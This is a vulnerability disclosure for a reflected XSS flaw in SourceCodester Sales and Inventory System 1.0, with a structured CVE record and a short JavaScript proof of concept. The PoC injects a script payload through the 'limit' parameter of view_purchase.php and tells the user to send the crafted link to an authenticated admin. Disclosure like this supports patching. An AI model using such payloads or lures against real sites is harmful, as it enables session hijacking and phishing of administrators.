CVE-2026-30568

/* * PoC for CVE-2026-30568 * Affected File: view_purchase.php * Vulnerable Parameter: limit */ // Malicious payload to execute JavaScript var payload = "<script>alert('CVE-2026-30568_XSS');</script>"; // Construct the malicious URL var targetUrl = "http://example.com/view_purchase.php?limit=" + encodeURIComponent(payload); // Simulate sending the link to a victim (Social Engineering) console.log("[+] Send this URL to an authenticated admin:"); console.log(targetUrl); // HTTP Request Example: // GET /view_purchase.php?limit=%3Cscript%3Ealert%28%27CVE-2026-30568_XSS%27%29%3C%2Fscript%3E HTTP/1.1 // Host: example.com

{"cve": {"id": "CVE-2026-30568", "sourceIdentifier": "[email protected]", "published": "2026-03-27T18:16:05.190", "lastModified": "2026-03-30T17:18:38.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0 in in the view_purchase.php file via the \"limit\" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ahsanriaz26gmailcom:inventory_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "D4A61A9C-F969-4CD2-8A33-1A36DFFDEB8E"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-ViewPurchase-limit.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-ViewPurchase-limit.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}